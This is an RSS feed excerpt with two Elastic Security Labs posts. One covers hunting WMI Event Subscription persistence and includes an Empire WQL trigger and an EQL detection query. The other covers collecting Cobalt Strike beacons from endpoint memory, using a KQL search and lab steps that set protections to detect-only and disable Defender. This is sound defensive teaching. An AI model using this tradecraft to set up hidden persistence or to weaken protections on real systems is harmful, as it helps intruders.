<p>Part 1 will explain what persistence is and why attackers need it. We’ll introduce the Event Query Language (EQL) before showing its practical use cases for threat hunting. We will examine a popular technique used by adversaries to maintain persistence, Windows Management Instrumentation (WMI) Event Subscription (<a href="https://attack.mitre.org/techniques/T1084/">T1084</a>). We’ll also share how Elastic Security users can hunt for and detect this technique being used in their environment.</p>
<p>In part 2, we’ll explore two additional persistence techniques that are being used by attackers in the wild: BITS Jobs (<a href="https://attack.mitre.org/techniques/T1197/">T1197</a>) and Scheduled Tasks (<a href="https://attack.mitre.org/techniques/T1053/">T1053</a>). This follow-up post will walk through real world examples of these techniques being used and how we can hunt for, detect, and prevent them using Elastic Security.</p>
<p>The Protections team at Elastic Security is responsible for researching, understanding, and developing detections and preventions for attacker behavior in order to stop attacks before damage or loss occur. For organizations that do not have a full-time security operations team, Elastic Security includes out-of-the-box protections against adversary tradecraft, malware, and attacks like ransomware and phishing.</p>
<h2 id="whatispersistenceandwhydoattackersneedit">What is persistence and why do attackers need it?</h2>
<p>When we consider the common components of an intrusion, such as those depicted in Figure 1, the attacker may have spent a considerable amount of effort carrying out reconnaissance, obtaining initial access to, and establishing a foothold in their target environment. Generally speaking, an adversary will often want to maintain a presence in order to survive disruptions to their access like system restarts or user password changes. An effective persistence mechanism will execute the attacker’s malicious code on a regular basis or when a specific condition is met such as a user logon or application launch event.</p>
<p>In many cases, gaining access to an organization’s network is harder than maintaining persistence. It is for this reason that attackers continue to use the persistence techniques covered in this post — with largely successful results. When the security industry refers to “dwell time,” that's the period of time that begins when an adversary gains access to a system and ends when you detect them. Persistence facilitates longer dwell times, during which the adversary can work to achieve their objectives.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb51fe34f74569c58/6a7d81ae5588ad25c4ee430a/adversary-tradecraft-101-part-1-image1.jpg" alt="Figure 1 - FireEye Mandiant’s Cyber Attack Lifecycle" title="Figure 1 - FireEye Mandiant’s Cyber Attack Lifecycle" /></p>
<p>There are currently <a href="https://attack.mitre.org/tactics/TA0003/">63 persistence techniques</a> documented in the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK®</a> knowledge base of adversary behavior. This number can seem daunting at first, but an adversary’s need for persistence can be their Achilles’ heel, providing defenders with valuable opportunities to detect and remove an attacker from their environment.</p>
<p>By learning these offensive tactics, techniques, and procedures (TTPs) and baselining the endpoints and network activity in your environment, you have an opportunity to detect attackers early on in an intrusion before any damage or loss occurs. Security operations teams work tirelessly to detect the techniques captured in the ATT&amp;CK matrix — hunting and writing alert logic to provide the greatest visibility and coverage of their enterprise. To help reduce the barrier to entry and enable those teams, we created EQL and released it to the community.</p>
<h2 id="whatiseventquerylanguageeql">What is Event Query Language (EQL)?</h2>
<p>The queries in this blog post, which can be used for threat hunting and detection, are written in EQL — a powerful and intuitive query language that makes it easy for practitioners to search for complex adversary behavior.</p>
<p>To learn more about EQL, you can read the <a href="https://www.elastic.co/blog/getting-started-eql">Getting started with EQL</a> blog post or review the <a href="https://eqllib.readthedocs.io/en/latest/analytics.html">EQL Analytics Library</a>, which contains 200+ free security analytics mapped to the techniques documented in the MITRE ATT&amp;CK matrix. EQL is a core component of Elastic Endpoint Security and <a href="https://github.com/elastic/elasticsearch/issues/49581">is being added to Elasticsearch</a> for use in Elastic SIEM.</p>
<p>Let’s now analyze the WMI Event Subscription technique used by attackers in the wild by demonstrating a variety of methods to hunt for and detect this technique. We decided to cover this technique given its popularity among attackers and the low detection rates by traditional security controls.</p>
<h2 id="persistenceviawindowsmanagementinstrumentationwmieventsubscriptionst1084">Persistence via Windows Management Instrumentation (WMI) Event Subscriptions (T1084)</h2>
<p><a href="https://docs.microsoft.com/en-us/windows/win32/wmisdk/about-wmi">WMI</a> is the Microsoft implementation of Web-Based Enterprise Management (WBEM), a collection of technologies used to manage information and systems in enterprise environments. WMI is a built-in feature of Windows endpoints that allows both administrators and attackers to interact and manage many different functions of the operating system. Components such as network interfaces, power settings, service status, and installed software or patches can all be queried and managed via WMI.</p>
<p>Attackers have been abusing WMI since as early as 2008 to accomplish different objectives such as moving laterally between endpoints, enumerating what processes are running on an endpoint, and to maintain persistence. An attacker can “live off the land” by abusing built-in features of the operating system, which often results in a lower risk of detection than if they introduced malware into a victim environment.</p>
<p>It's no secret that adversaries prefer WMI-based persistence because:</p>
<ul>
<li>Many organizations are incapable of monitoring or investigating WMI</li>
<li>Out-of-the-box WMI visibility is limited, and a third-party utility may be required to effectively convey how WMI is being used</li>
<li>WMI is an integral component of Windows, and the volume of weak signals from this data source can overwhelm analysts who aren't familiar with these attack types</li>
</ul>
<p>Like most offensive techniques, until organizations can reliably detect WMI abuse, the adversary is unlikely to change their behavior.</p>
<h3 id="understandingwmieventsubscriptionsandhowtheycanbeabused">Understanding WMI Event Subscriptions and how they can be abused</h3>
<p>Simply put, a WMI Event Subscription can trigger an action when a certain condition is met. A WMI Event Subscription consists of three components.</p>
<ul>
<li>EventFilter - specifies a condition that you test for, i.e. a user successfully authenticates, a particular time and day of the week occurs, etc.</li>
<li>EventConsumer - specifies an action to execute when the EventFilter condition is met, i.e. execute a Windows command or script, delete all Volume Shadow Copies, restart a service, etc.</li>
<li>FilterToConsumerBinding - this links an EventFilter to an EventConsumer instance</li>
</ul>
<p>Figure 2 below shows the output from Sysinternals Autoruns, a free tool from Microsoft that can be used to examine various persistence locations on Windows endpoints, also referred to as Autostart Execution Points (ASEPs). Autoruns reveals a persistent WMI Event Subscription, named checkforupdates. It is important to note that there are sometimes benign WMI Event Subscriptions configured, but there shouldn’t be many. Alerting on the creation of new WMI Event Subscriptions and hunting for new ones periodically can be a low cost, high reward exercise.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt95cdb22f911adeea/6a7d81b1bdcff07e52c40074/adversary-tradecraft-101-part-1-image2.jpg" alt="Figure 2 - Autoruns showing a WMI Event Subscription registered by Empire" title="Figure 2 - Autoruns showing a WMI Event Subscription registered by Empire" /></p>
<p>The full WMI Query Language (WQL) query from the Autoruns results is shown below. Autoruns conveniently enumerated the WMI __EventFilter class for us in the root\Subscription namespace where this malicious entry was created. Interpreting this WQL query, the EventFilter condition will be met when the system’s uptime is between 240 -325 seconds. The EventConsumer is an <a href="https://github.com/EmpireProject/Empire">Empire</a> PowerShell script and will execute when this EventFilter condition is met.</p>
<p>To summarize, a WMI Event Subscription has been configured to execute a malicious PowerShell script shortly after the endpoint boots up. This enables the attacker to maintain persistence in the victim’s environment and survive system restarts.</p>
<pre><code>SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime &gt;= 240 AND
TargetInstance.SystemUpTime &lt; 325
</code></pre>
<p><em>Figure 3 - WMI Query Language (WQL) query showing WMI EventFilter condition</em></p>
<h3 id="huntingforanddetectingmaliciouswmieventsubscriptions">Hunting for and detecting malicious WMI Event Subscriptions</h3>
<p>The EQL query in Figure 4 shows how we can search for a sequence of three WMI events, which were generated by the same unique process ID (PID). This query demonstrates one of the strengths of EQL by using the join function. This allows us to match sequences of events in any order. Searching for these three WMI events without binding them together by unique PID might not return meaningful results. This query matches when a WMI EventFilter, EventConsumer, and FilterToConsumer binding are created by the same process in succession, which typically occurs when malware is executed and creates a new WMI Event Subscription for persistence. This query can be used to monitor for and detect abuse of WMI.</p>
<pre><code>join by unique_pid
  [wmi where properties.Operation == "*IWbemServices::PutInstance*EventFilter*"]
  [wmi where properties.Operation == "*IWbemServices::PutInstance*EventConsumer*"]
  [wmi where properties.Operation == "*IWbemServices::PutInstance*FilterToConsumerBinding*"]
</code></pre>
<p><em>Figure 4 - EQL query to search for the creation of a WMI EventFilter, EventConsumer, and FilterToConsumerBinding in succession</em></p>
<p>The above EQL query can be saved as a custom rule in Elastic Endpoint Security so that analysts can be alerted every time a new WMI Event Subscription is created by a process (Figure 5).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb5dc7b445abf16a2/6a7d81b35588ad7308ee430e/adversary-tradecraft-101-part-1-image3.png" alt="Figure 5 - Alert created by custom rule in Elastic Endpoint Security" title="Figure 5 - Alert created by custom rule in Elastic Endpoint Security" /></p>
<p>Resolver is the primary interface for interacting with alerts in Elastic Endpoint Security and enables users to visualize process ancestry along with relevant events such as DNS, file, network, WMI, and PowerShell, to name a few. It also provides one-click response actions to resolve the alert.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc14c6e769cc11017/6a7d81b6fc63abad4b649fcc/adversary-tradecraft-101-part-1-image4.jpg" alt="Figure 6 - Resolver showing process ancestry and events created by powershell.exe" title="Figure 6 - Resolver showing process ancestry and events created by powershell.exe" /></p>
<p>Clicking the WMI event type next to powershell.exe in Resolver enables users to review the WMI events that were generated by the process. Figure 7 shows the WMI event that was logged when powershell.exe was used to create the new WMI FilterToConsumerBinding, checkforupdates.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf05d7578d0a110ca/6a7d81b877b0347c6f3fc668/adversary-tradecraft-101-part-1-image5.jpg" alt="Figure 7 - WMI event created by powershell.exe" title="Figure 7 - WMI event created by powershell.exe" /></p>
<p>Elastic Endpoint Security also includes template-based hunts that lower the barriers to entry for less experienced analysts and allows for the easy collection and analysis of data across an organization’s endpoints. There are currently 25 categories of persistence data that can be collected and analyzed using template-based hunts.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt86a4d0cd61c9cd4f/6a7d81bb3cab1c96980e1a10/adversary-tradecraft-101-part-1-image6.jpg" alt="Figure 8 - Hunting for persistence using Elastic Endpoint’s template-based hunts" title="Figure 8 - Hunting for persistence using Elastic Endpoint’s template-based hunts" /></p>
<p>Once a hunt has been executed, there are several ways to sort or aggregate the data — such as by frequency or file path. This helps analysts to quickly baseline their endpoints and identify anomalies to investigate further.</p>
<p>Figure 9 depicts the filtered results of a persistence hunt wherein the same malicious WMI Event Subscription was configured. Elastic Security enumerates persistence locations across your endpoints and enables users to apply filters to identify anomalies or suspicious artifacts for further analysis. Hunt teams will often assume that traditional passive and reactive security controls are fallible, and will proactively hunt for malicious persistence mechanisms in search for attackers operating in their environment.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt68aaf9934a8f272b/6a7d81be448e4e97b45bdb42/adversary-tradecraft-101-part-1-image7.png" alt="Figure 9 - Results of an Elastic Endpoint hunt showing malicious WMI persistence" title="Figure 9 - Results of an Elastic Endpoint hunt showing malicious WMI persistence" /></p>
<p>Elastic Security comes with out-of-the-box detections for WMI abuse. Figure 10 shows the signal that was generated by Elastic Endpoint and shipped to Elastic SIEM when a malicious WMI Event Subscription was created.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4696d82c61381da6/6a7d81c1227b1c504f595812/adversary-tradecraft-101-part-1-image8.png" alt="Figure 10 - Elastic Endpoint signal shown in Elastic SIEM" title="Figure 10 - Elastic Endpoint signal shown in Elastic SIEM" /></p>
<p>Users have the option to view a signal in the Timeline within Elastic SIEM. Timeline enables analysts to search for similar activity across their data, gather and document evidence, and forward potential incidents to ticketing and SOAR platforms with ease. Part 2 of this series will show the workflow and features of Timeline.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8686c856d101846d/6a7d81c4b437709aa04d3f87/adversary-tradecraft-101-part-1-image9.jpg" alt="Figure 11 - Option to view signal in Timeline in Elastic SIEM" title="Figure 11 - Option to view signal in Timeline in Elastic SIEM" /></p>
<p>As of version 7.6 of the Elastic Stack, the SIEM app comes with a detection engine, which enables security teams to create their own custom rules. For example, Windows 10 logs Event ID 5861 when a new WMI EventFilterToConsumer binding is created. Figure 12 shows how a custom rule can be created in Elastic SIEM to search the winlogbeat-* index pattern for winlog.record_id: 5861. We can configure a description, severity, and risk score for the new rule, as well as map the rule to the relevant techniques in the MITRE ATT&amp;CK matrix. This information will help an analyst triage and determine the steps to take when the rule condition occurs.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbe769b8ee9a885db/6a7d81c773d9bd121829ac1b/adversary-tradecraft-101-part-1-image10.png" alt="Figure 12 - Example of a new rule being created in Elastic SIEM" title="Figure 12 - Example of a new rule being created in Elastic SIEM" /></p>
<p>Elastic SIEM is part of the Basic subscription and currently includes 92 detections that utilize Windows, Linux, network, and APM logging. We will continue to add new rules in new releases of the Elastic Stack.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt797a7d37bb7efd81/6a7d81ca73d9bd3ed829ac1f/adversary-tradecraft-101-part-1-image11.png" alt="Figure 13 - Detection rules view in Elastic SIEM" title="Figure 13 - Detection rules view in Elastic SIEM" /></p>
<p>In this section, we learned how WMI Event Subscriptions can be abused for persistence and how we can hunt for and detect this technique using the combination of Elastic Endpoint and SIEM. It’s important to note that we have only scratched the surface of how WMI works and the many ways that it can be used by attackers.</p>
<p>WMI can be used during every phase of an attack, such as moving laterally between endpoints, conducting local and enterprise reconnaissance, and stealing data. Elastic Security has released detections for many techniques that leverage WMI.</p>
<h2 id="conclusion">Conclusion</h2>
<p>In this blog post, we examined a popular technique that attackers use to maintain a presence in their target environments. The number of techniques in an attacker’s arsenal can seem daunting at first, but we demonstrated a formulaic approach to examining, hunting for, and detecting techniques effectively. By building comprehension around adversary tradecraft, you can identify interesting patterns, behaviors, and artifacts that you can use to your advantage.</p>
<p>Elastic Security makes hunting for persistence easy. The features of Elastic Endpoint Security and SIEM (along with the protections provided out of the box) lower the barriers to entry for analysts, provide detailed visibility into endpoint activity, and enable organizations to prevent, detect, and respond to malicious behavior at scale.</p>
<p>To learn more about threat hunting, download a free copy of <a href="https://ela.st/threat-hunting">The Elastic Guide to Threat Hunting</a>.</p>
<p>Plus, <a href="https://github.com/elastic/elasticsearch/issues/49581">EQL support is being added to Elasticsearch</a>!</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/hunting-for-persistence-using-elastic-security-part-1</link>
    <guid isPermaLink="false">hunting-for-persistence-using-elastic-security-part-1</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[David French,Brent Murphy,Elastic Security Intelligence & Analytics Team]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte7cd714a064d35a8/6a7d81cde88c65835000898c/blog-thumb-security-breach-red-lock.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 01 Jun 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Collecting Cobalt Strike Beacons with the Elastic Stack]]></title>
    <description><![CDATA[Part 1 - Processes and technology needed to extract Cobalt Strike implant beacons]]></description>
    <content:encoded><![CDATA[<h2 id="overview">Overview</h2>
<p><a href="https://attack.mitre.org/software/S0154/">Cobalt Strike</a> is a premium offensive security tool leveraged by penetration testers and red team members as a way to emulate adversary behavior. The goal is to validate security detection capabilities and processes replicating a real-world intrusion. While Cobalt Strike is a legitimate tool, it is often <a href="https://www.proofpoint.com/uk/blog/threat-insight/cobalt-strike-favorite-tool-apt-crimeware">abused by actual threat actors</a> as a way to gain and maintain persistence into targeted networks.</p>
<p>To manage command and control, Cobalt Strike leverages an implant that uses beacon configuration known as a <a href="https://www.cobaltstrike.com/help-malleable-c2">Malleable Command and Control</a> (Malleable C2) profile. A Malleable C2 profile contains a tremendous number of options to configure the beacon’s functionality, please see <a href="https://www.cobaltstrike.com/help-beacon">Cobalt Strike’s official documentation</a> for specifics on configuring Malleable C2 beacons.</p>
<p>This blog will focus on using the Elastic Stack to collect Cobalt Strike beacon payloads, extract and parse the beacon configurations, and an analysis of the metadata within the configurations. This will all be taken from the memory of targeted Windows endpoints that we’ve collected from our telemetry.</p>
<h2 id="thefleetpolicy">The Fleet Policy</h2>
<p><a href="https://www.elastic.co/guide/en/kibana/current/fleet.html">Fleet</a> is an app in Kibana that provides a central place to configure and monitor your Elastic Agents. Fleet uses <a href="https://www.elastic.co/guide/en/fleet/current/integrations.html">integrations</a>, which are unified plugins that allow data to be collected from apps and services, and then stored in Elasticsearch. Integrations are added to policies, and Elastic Agents are added to policies.</p>
<p>First, we need to configure the collection of shellcode and malicious memory regions in a Fleet policy. This will collect 4MB of data from memory surrounding shellcode and malicious memory events. It should be noted that this collection may significantly increase the amount of data stored in Elasticsearch.</p>
<p>You can add this to an existing policy or create a new policy. To create a new policy, in Kibana, navigate to Fleet → Agent Policies → Create agent policy. Give your policy a name and description. Optionally, you can disable “System monitoring” and “Agent monitoring” to reduce the amount of system and agent metadata collected from your endpoints. Click on “Create agent policy”.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5588c2833656d2d1/6a7d7e57ead8ecae25ba7ab7/create-agent-policy.jpg" alt="" /></p>
<p>Next, click on your new policy and click the “Add integration button.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt76fa8897156c7bd6/6a7d7e5ade2315248efd4d99/finding-endpoint-integration.jpg" alt="" /></p>
<p>Finally, we’re going to add the memory and shellcode collection options. Click on the integration name (“Endpoint Security”).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1217d2559ccb32be/6a7d7e5c5967e53fd45da49b/overview-with-endpoint-security.jpg" alt="" /></p>
<p>Under “Protections”, leave the different protection types selected, but change the Protection level from “Prevent” to “Detect”. This will allow malware to continue to run to allow for more rich event collection. There are several types of Protections (Malware, Memory, etc.), select “Detect” for each type that has Windows as an available “Operating system”; you can uncheck Mac and Linux Operating Systems. <strong>If you are enabling this feature for a production environment, leave the Protection levels as “Prevent”</strong></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt141d13ab9354418e/6a7d7e5f96b5a604658785ab/setting-policy-to-detect.jpg" alt="" /></p>
<p>At the bottom of the integration configuration page, you can toggle “Register as antivirus” so that the Elastic Agent is registered as the Antivirus solution, and disable Windows Defender. Click on “Show advanced settings”.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt07d87e217dacb35a/6a7d7e625967e5ce8f5da49f/register-as-antivirus.jpg" alt="" /></p>
<p>At the very bottom of the advanced settings page, type “true” for the windows.advanced.memory_protection.shellcode_collect_sample and windows.advanced.memory_protection.memory_scan_collect_sample settings, and then click “Save integration”.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt917109b99ccac42f/6a7d7e645588ad8060ee426a/collect-sample.jpg" alt="" /></p>
<p>Once you have created this specific Fleet policy, you can apply this policy to an endpoint running the Elastic Agent. For specific instructions on how to deploy the Elastic Agent, refer to the <a href="https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html#install-fleet-managed-agent">official Elastic documentation</a>.</p>
<h2 id="collectingthebeacon">Collecting the Beacon</h2>
<p>Now that we’ve made a collection policy and applied it to a Windows machine you can target it with a CobaltStrike campaign. Instead of mimicking what a CobaltStrike beacon could look like in a lab, we’re going to use live CobaltStrike beacon payloads from Elastic’s telemetry.</p>
<p>To find Cobalt Strike beacon payloads, you can use the Discover app in Kibana to return events identified as Cobalt Strike. These events are provided by the Elastic Endpoint Security Agent, which identifies Cobalt Strike beacons and modules with the “Windows.Trojan.CobaltStrike” malware signature. A simple <a href="https://www.elastic.co/guide/en/kibana/current/kuery-query.html">Kibana Query Language (KQL)</a> search is as simple as:</p>
<pre><code>KQL search for Cobalt Strike

event.category:(malware or intrusion_detection) and
rule.name:(Windows.Trojan.CobaltStrike or Windows.Trojan.Cobaltstrike)
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc1258d59b8cc412c/6a7d7e67b437700d6b4d3ee2/viewing-cs-alerts.jpg" alt="" /></p>
<p>Next, let’s filter on documents that have the process.Ext.memory_region.bytes_compressed field (this is a field populated by the windows.advanced.memory_protection.shellcode_collect_sample and windows.advanced.memory_protection.memory_scan_collect_sample settings we configured in the Fleet policy above). To do that we can simply add a filter for the process.Ext.memory_region.bytes_compressed_present field with a value of true.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc830f93dc762cd1a/6a7d7e6a2f00b25786efbe42/compressed_present-field.jpg" alt="" /></p>
<p>Finally, add the process.Ext.memory_region.bytes_compressed field to our view so that we can see the value of the field.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt475db65ef022ed51/6a7d7e6de02facf8685d34be/bytes_compressed-add.jpg" alt="" /></p>
<p>We can see that we have 133 examples with data in the process.Ext.memory_region.bytes_compressed field. This field contains the file extracted from the memory of the infected host and then zlib deflated and Base64 encoded.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb1011b4340b98e02/6a7d7e703ce8e28a51cf25f8/number-of-events.jpg" alt="" /></p>
<p>Now that we’ve collected the file in the Elastic Stack, let’s turn that raw data into a file that we can analyze.</p>
<p>There is a lot of nuance between operating systems on how to decode Base64 and inflate zlib deflated files. If you’d prefer to use your command line or local tools, feel free to do so. That said, <a href="https://gchq.github.io/CyberChef">CyberChef</a> is a browser-based data parser that is provided for free by the United Kingdom’s Government Communications Headquarters (GCHQ).</p>
<p>Using the CyberChef web application, add the “From Base64” and “Zlib Inflate” <a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)Zlib_Inflate(0,0,'Adaptive',false,false)">recipes</a>and then paste the contents of the process.Ext.memory_region.bytes_compressed field into the ).</p>
<p>Click on the disk icon to download the inflated binary.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2435fac484ee22bc/6a7d7e733ce8e27fa3cf25fc/cyber-chef.jpg" alt="" /></p>
<p>Running the file command, we can see that this is a Portable Executable (PE) file that can be analyzed by a malware reverse engineer (RE).</p>
<pre><code>Using the file command to validate the file type

$ file beacon.exe

beacon.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
</code></pre>
<p>While an RE can identify a tremendous amount of information, let’s explore what additional information a non-RE can obtain from this file.</p>
<h2 id="nextsteps">Next Steps</h2>
<p>In the next <a href="https://www.elastic.co/security-labs/extracting-cobalt-strike-beacon-configurations">release</a>, we’ll use the beacon that we’ve just collected and extract its configuration. With this information, we’ll be able to identify other important elements such as license identifications, watermarks, and atomic indicators.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/collecting-cobalt-strike-beacons-with-the-elastic-stack</link>
    <guid isPermaLink="false">collecting-cobalt-strike-beacons-with-the-elastic-stack</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Derek Ditch,Daniel Stepanic,Seth Goodwin,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3c01531a1217eca1/6a7d7e76bd21985f03755235/photo-edited-01@2x.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 01 Jun 2022 00:00:00 GMT</pubDate>
  </item>
  </channel>
</rss>